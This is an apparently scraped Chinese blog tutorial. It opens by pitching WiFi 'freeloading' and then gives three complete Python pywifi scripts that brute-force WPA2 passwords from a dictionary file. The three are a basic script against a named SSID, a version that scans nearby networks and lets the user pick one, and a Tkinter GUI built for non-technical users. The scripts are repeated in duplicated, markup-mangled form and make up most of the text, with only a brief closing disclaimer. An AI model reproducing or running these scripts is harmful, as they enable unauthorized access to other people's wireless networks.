出门在外,碰上信号不好的时候,大家肯定都遇到过没法上网的尴尬时刻。尤其是遇到WiFi信号满格,但却被密码拦住时,总让人忍不住想蹭网。
那如何通过Python脚本暴力破解WiFi密码,完成“机智蹭网”呢?今天我们就来深入探讨一下如何用Python实现WiFi密码的暴力破解。
没有图形界面的简单爆破脚本
第一来看看一个没有图形界面的基础版WiFi破解脚本。通过 pywifi 模块,我们可以操控无线网卡进行WiFi连接。脚本会自动读取一个密码字典并逐个尝试,直到找到正确的密码。
<span>import</span> pywifi<span>from</span> pywifi <span>import</span> const<span>import</span> time<span>import</span> datetime<span># 测试连接,返回连接结果</span><span><span>def</span> <span>wifiConnect</span><span>(pwd)</span>:</span>wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[<span>0</span>]ifaces.disconnect()time.sleep(<span>1</span>)wifistatus = ifaces.status()<span>if</span> wifistatus == const.IFACE_DISCONNECTED:profile = pywifi.Profile()profile.ssid = <span>"Tr0e"</span> <span># 需要破解的WiFi名称</span>profile.auth = const.AUTH_ALG_OPENprofile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMPprofile.key = pwdifaces.remove_all_network_profiles()tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)time.sleep(<span>2</span>)<span>if</span> ifaces.status() == const.IFACE_CONNECTED:<span>return</span> <span>True</span><span>else</span>:<span>return</span> <span>False</span><span>else</span>:print(<span>"已有WiFi连接"</span>)<span># 读取密码本进行暴力破解</span><span><span>def</span> <span>readPassword</span><span>()</span>:</span>success = <span>False</span>print(<span>"********** 开始破解WiFi **********"</span>)path = <span>"pwd.txt"</span>file = open(path, <span>"r"</span>)start = datetime.datetime.now()<span>while</span> <span>True</span>:<span>try</span>:pwd = file.readline().strip(<span>''</span>)bool = wifiConnect(pwd)<span>if</span> bool:print(<span>f"[*] 密码已破解:<span>{pwd}</span>"</span>)print(<span>"[*] WiFi已自动连接!"</span>)success = <span>True</span><span>break</span><span>else</span>:print(<span>f"正在尝试密码:<span>{pwd}</span>"</span>)<span>except</span>:<span>continue</span>end = datetime.datetime.now()print(<span>f"[*] 破解完成,耗时:<span>{end - start}</span>"</span> <span>if</span> success <span>else</span> <span>"[*] 未能破解成功,请更换密码字典!"</span>)exit(<span>0</span>)<span>if</span> __name__ == <span>"__main__"</span>:readPassword()<span>import</span> pywifi <span>from</span> pywifi <span>import</span> const <span>import</span> time <span>import</span> datetime <span># 测试连接,返回连接结果</span> <span><span>def</span> <span>wifiConnect</span><span>(pwd)</span>:</span> wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[<span>0</span>] ifaces.disconnect() time.sleep(<span>1</span>) wifistatus = ifaces.status() <span>if</span> wifistatus == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = <span>"Tr0e"</span> <span># 需要破解的WiFi名称</span> profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(<span>2</span>) <span>if</span> ifaces.status() == const.IFACE_CONNECTED: <span>return</span> <span>True</span> <span>else</span>: <span>return</span> <span>False</span> <span>else</span>: print(<span>"已有WiFi连接"</span>) <span># 读取密码本进行暴力破解</span> <span><span>def</span> <span>readPassword</span><span>()</span>:</span> success = <span>False</span> print(<span>"********** 开始破解WiFi **********"</span>) path = <span>"pwd.txt"</span> file = open(path, <span>"r"</span>) start = datetime.datetime.now() <span>while</span> <span>True</span>: <span>try</span>: pwd = file.readline().strip(<span>' '</span>) bool = wifiConnect(pwd) <span>if</span> bool: print(<span>f"[*] 密码已破解:<span>{pwd}</span>"</span>) print(<span>"[*] WiFi已自动连接!"</span>) success = <span>True</span> <span>break</span> <span>else</span>: print(<span>f"正在尝试密码:<span>{pwd}</span>"</span>) <span>except</span>: <span>continue</span> end = datetime.datetime.now() print(<span>f"[*] 破解完成,耗时:<span>{end - start}</span>"</span> <span>if</span> success <span>else</span> <span>"[*] 未能破解成功,请更换密码字典!"</span>) exit(<span>0</span>) <span>if</span> __name__ == <span>"__main__"</span>: readPassword()import pywifi from pywifi import const import time import datetime # 测试连接,返回连接结果 def wifiConnect(pwd): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = "Tr0e" # 需要破解的WiFi名称 profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有WiFi连接") # 读取密码本进行暴力破解 def readPassword(): success = False print("********** 开始破解WiFi **********") path = "pwd.txt" file = open(path, "r") start = datetime.datetime.now() while True: try: pwd = file.readline().strip(' ') bool = wifiConnect(pwd) if bool: print(f"[*] 密码已破解:{pwd}") print("[*] WiFi已自动连接!") success = True break else: print(f"正在尝试密码:{pwd}") except: continue end = datetime.datetime.now() print(f"[*] 破解完成,耗时:{end - start}" if success else "[*] 未能破解成功,请更换密码字典!") exit(0) if __name__ == "__main__": readPassword()
这个脚本通过 pywifi 模块操控无线网卡并不断尝试密码,直到找到正确的WiFi密码。你只需准备一个包含各种常见密码的字典文件,然后让脚本从中挑选可能的密码进行尝试。
优化脚本:扫描附近WiFi
为了让脚本更灵活,我们对其进行了改善,增加了WiFi扫描功能,允许用户选择想要破解的WiFi并自定义密码字典。
<span>import</span> pywifi<span>import</span> timefrom pywifi <span>import</span> <span>const</span># WiFi扫描模块def wifi_scan():wifi = pywifi.PyWiFi()<span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>]<span><span>interface</span>.<span>scan</span></span>()time.sleep(<span>3</span>)bss = <span><span>interface</span>.<span>scan_results</span></span>()wifi_name_list = []<span>for</span> w <span>in</span> bss:wifi_name_and_signal = (<span>100</span> + w.signal, w.ssid)wifi_name_list.append(wifi_name_and_signal)wifi_name_list = sorted(wifi_name_list, key=lambda x: x[<span>0</span>], reverse=True)print(<span>"扫描完成,找到以下WiFi:"</span>)<span>for</span> num, wifi <span>in</span> enumerate(wifi_name_list):print(f<span>"{num}. {wifi[1]} 信号强度: {wifi[0]}"</span>)<span>return</span> wifi_name_list# WiFi破解模块def wifi_password_crack(wifi_name):wifi_dic_path = input(<span>"请输入密码字典路径:"</span>)with <span>open</span>(wifi_dic_path, <span>'r'</span>) <span>as</span> f:<span>for</span> pwd <span>in</span> f:pwd = pwd.strip(<span>''</span>)wifi = pywifi.PyWiFi()<span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>]<span><span>interface</span>.<span>disconnect</span></span>()time.sleep(<span>1</span>)profile = pywifi.Profile()profile.ssid = wifi_nameprofile.auth = <span>const</span>.AUTH_ALG_OPENprofile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK)profile.cipher = <span>const</span>.CIPHER_TYPE_CCMPprofile.key = pwd<span><span>interface</span>.<span>remove_all_network_profiles</span></span>()tmp_profile = <span><span>interface</span>.<span>add_network_profile</span></span>(profile)<span><span>interface</span>.<span>connect</span></span>(tmp_profile)time.sleep(<span>2</span>)<span>if</span> <span><span>interface</span>.<span>status</span></span>() == <span>const</span>.IFACE_CONNECTED:print(f<span>"成功破解,密码为:{pwd}"</span>)exit(<span>0</span>)<span>else</span>:print(f<span>"尝试密码 {pwd} 失败。"</span>)# 主函数def main():wifi_list = wifi_scan()wifi_index = int(input(<span>"请选择想要破解的WiFi编号:"</span>))wifi_password_crack(wifi_list[wifi_index][<span>1</span>])<span>if</span> __name__ == <span>'__main__'</span>:main()<span>import</span> pywifi <span>import</span> time from pywifi <span>import</span> <span>const</span> # WiFi扫描模块 def wifi_scan(): wifi = pywifi.PyWiFi() <span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>] <span><span>interface</span>.<span>scan</span></span>() time.sleep(<span>3</span>) bss = <span><span>interface</span>.<span>scan_results</span></span>() wifi_name_list = [] <span>for</span> w <span>in</span> bss: wifi_name_and_signal = (<span>100</span> + w.signal, w.ssid) wifi_name_list.append(wifi_name_and_signal) wifi_name_list = sorted(wifi_name_list, key=lambda x: x[<span>0</span>], reverse=True) print(<span>"扫描完成,找到以下WiFi:"</span>) <span>for</span> num, wifi <span>in</span> enumerate(wifi_name_list): print(f<span>"{num}. {wifi[1]} 信号强度: {wifi[0]}"</span>) <span>return</span> wifi_name_list # WiFi破解模块 def wifi_password_crack(wifi_name): wifi_dic_path = input(<span>"请输入密码字典路径:"</span>) with <span>open</span>(wifi_dic_path, <span>'r'</span>) <span>as</span> f: <span>for</span> pwd <span>in</span> f: pwd = pwd.strip(<span>' '</span>) wifi = pywifi.PyWiFi() <span><span>interface</span> = <span>wifi</span>.<span>interfaces</span></span>()[<span>0</span>] <span><span>interface</span>.<span>disconnect</span></span>() time.sleep(<span>1</span>) profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = <span>const</span>.AUTH_ALG_OPEN profile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK) profile.cipher = <span>const</span>.CIPHER_TYPE_CCMP profile.key = pwd <span><span>interface</span>.<span>remove_all_network_profiles</span></span>() tmp_profile = <span><span>interface</span>.<span>add_network_profile</span></span>(profile) <span><span>interface</span>.<span>connect</span></span>(tmp_profile) time.sleep(<span>2</span>) <span>if</span> <span><span>interface</span>.<span>status</span></span>() == <span>const</span>.IFACE_CONNECTED: print(f<span>"成功破解,密码为:{pwd}"</span>) exit(<span>0</span>) <span>else</span>: print(f<span>"尝试密码 {pwd} 失败。"</span>) # 主函数 def main(): wifi_list = wifi_scan() wifi_index = int(input(<span>"请选择想要破解的WiFi编号:"</span>)) wifi_password_crack(wifi_list[wifi_index][<span>1</span>]) <span>if</span> __name__ == <span>'__main__'</span>: main()import pywifi import time from pywifi import const # WiFi扫描模块 def wifi_scan(): wifi = pywifi.PyWiFi() interface = wifi.interfaces()[0] interface.scan() time.sleep(3) bss = interface.scan_results() wifi_name_list = [] for w in bss: wifi_name_and_signal = (100 + w.signal, w.ssid) wifi_name_list.append(wifi_name_and_signal) wifi_name_list = sorted(wifi_name_list, key=lambda x: x[0], reverse=True) print("扫描完成,找到以下WiFi:") for num, wifi in enumerate(wifi_name_list): print(f"{num}. {wifi[1]} 信号强度: {wifi[0]}") return wifi_name_list # WiFi破解模块 def wifi_password_crack(wifi_name): wifi_dic_path = input("请输入密码字典路径:") with open(wifi_dic_path, 'r') as f: for pwd in f: pwd = pwd.strip(' ') wifi = pywifi.PyWiFi() interface = wifi.interfaces()[0] interface.disconnect() time.sleep(1) profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd interface.remove_all_network_profiles() tmp_profile = interface.add_network_profile(profile) interface.connect(tmp_profile) time.sleep(2) if interface.status() == const.IFACE_CONNECTED: print(f"成功破解,密码为:{pwd}") exit(0) else: print(f"尝试密码 {pwd} 失败。") # 主函数 def main(): wifi_list = wifi_scan() wifi_index = int(input("请选择想要破解的WiFi编号:")) wifi_password_crack(wifi_list[wifi_index][1]) if __name__ == '__main__': main()
该脚本扫描附近WiFi并允许用户选择要破解的网络,极大地提高了灵活性和用户体验。通过自定义密码字典文件,用户还可以在暴力破解过程中根据具体情况调整密码尝试策略。
提升用户体验:图形化界面
为了让工具更方便使用,我们可以进一步改善,使用 Tkinter 创建一个简易的图形化界面,使得非技术用户也可以轻松使用。
from tkinter <span>import</span> *<span>import</span> pywififrom pywifi <span>import</span> <span>const</span><span>import</span> timedef readPwd():wifi_name = entry.<span>get</span>().strip()path = <span>'./pwd.txt'</span>file = <span>open</span>(path, <span>'r'</span>)<span>while</span> True:pwd = file.readline().strip()<span>if</span> not pwd:<span>break</span>wifi = pywifi.PyWiFi()iface = wifi.interfaces()[<span>0</span>]iface.disconnect()time.sleep(<span>1</span>)profile = pywifi.Profile()profile.ssid = wifi_nameprofile.auth = <span>const</span>.AUTH_ALG_OPENprofile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK)profile.cipher = <span>const</span>.CIPHER_TYPE_CCMPprofile.key = pwdiface.remove_all_network_profiles()tmp_profile = iface.add_network_profile(profile)iface.connect(tmp_profile)time.sleep(<span>2</span>)<span>if</span> iface.status() == <span>const</span>.IFACE_CONNECTED:text.insert(END, f<span>'密码正确:{pwd}'</span>)<span>break</span><span>else</span>:text.insert(END, f<span>'尝试密码:{pwd} 失败'</span>)text.see(END)text.update()root = Tk()root.title(<span>"WiFi破解"</span>)root.geometry(<span>"500x400"</span>)Label(root, text=<span>"输入WiFi名称:"</span>).grid()entry = Entry(root, font=(<span>"微软雅黑"</span>, <span>14</span>))entry.grid(row=<span>0</span>, column=<span>1</span>)text = Listbox(root, font=(<span>"微软雅黑"</span>, <span>14</span>), width=<span>40</span>, height=<span>10</span>)text.grid(row=<span>1</span>, columnspan=<span>2</span>)Button(root, text=<span>"开始破解"</span>, command=readPwd).grid(row=<span>2</span>, columnspan=<span>2</span>)root.mainloop()from tkinter <span>import</span> * <span>import</span> pywifi from pywifi <span>import</span> <span>const</span> <span>import</span> time def readPwd(): wifi_name = entry.<span>get</span>().strip() path = <span>'./pwd.txt'</span> file = <span>open</span>(path, <span>'r'</span>) <span>while</span> True: pwd = file.readline().strip() <span>if</span> not pwd: <span>break</span> wifi = pywifi.PyWiFi() iface = wifi.interfaces()[<span>0</span>] iface.disconnect() time.sleep(<span>1</span>) profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = <span>const</span>.AUTH_ALG_OPEN profile.akm.append(<span>const</span>.AKM_TYPE_WPA2PSK) profile.cipher = <span>const</span>.CIPHER_TYPE_CCMP profile.key = pwd iface.remove_all_network_profiles() tmp_profile = iface.add_network_profile(profile) iface.connect(tmp_profile) time.sleep(<span>2</span>) <span>if</span> iface.status() == <span>const</span>.IFACE_CONNECTED: text.insert(END, f<span>'密码正确:{pwd} '</span>) <span>break</span> <span>else</span>: text.insert(END, f<span>'尝试密码:{pwd} 失败 '</span>) text.see(END) text.update() root = Tk() root.title(<span>"WiFi破解"</span>) root.geometry(<span>"500x400"</span>) Label(root, text=<span>"输入WiFi名称:"</span>).grid() entry = Entry(root, font=(<span>"微软雅黑"</span>, <span>14</span>)) entry.grid(row=<span>0</span>, column=<span>1</span>) text = Listbox(root, font=(<span>"微软雅黑"</span>, <span>14</span>), width=<span>40</span>, height=<span>10</span>) text.grid(row=<span>1</span>, columnspan=<span>2</span>) Button(root, text=<span>"开始破解"</span>, command=readPwd).grid(row=<span>2</span>, columnspan=<span>2</span>) root.mainloop()from tkinter import * import pywifi from pywifi import const import time def readPwd(): wifi_name = entry.get().strip() path = './pwd.txt' file = open(path, 'r') while True: pwd = file.readline().strip() if not pwd: break wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] iface.disconnect() time.sleep(1) profile = pywifi.Profile() profile.ssid = wifi_name profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd iface.remove_all_network_profiles() tmp_profile = iface.add_network_profile(profile) iface.connect(tmp_profile) time.sleep(2) if iface.status() == const.IFACE_CONNECTED: text.insert(END, f'密码正确:{pwd} ') break else: text.insert(END, f'尝试密码:{pwd} 失败 ') text.see(END) text.update() root = Tk() root.title("WiFi破解") root.geometry("500x400") Label(root, text="输入WiFi名称:").grid() entry = Entry(root, font=("微软雅黑", 14)) entry.grid(row=0, column=1) text = Listbox(root, font=("微软雅黑", 14), width=40, height=10) text.grid(row=1, columnspan=2) Button(root, text="开始破解", command=readPwd).grid(row=2, columnspan=2) root.mainloop()
这个小工具通过 Tkinter 创建了一个简易的界面,让你输入WiFi名称并开始暴力破解过程。整个界面简洁直观,适合不擅长编程的用户使用。
总结
通过这篇文章,我们从基础的Python WiFi暴力破解脚本开始,逐步优化到扫描WiFi、选择目标网络并最终实现了图形化界面。无论你是喜爱简单的命令行脚本,还是偏好图形化的工具,这些代码都能为你提供不同场景下的解决方案。
当然,本文的学习目的是技术探索,使用这些工具时请遵守法律与道德规范,切勿非法破解他人WiFi!
- 最新
- 最热
只看作者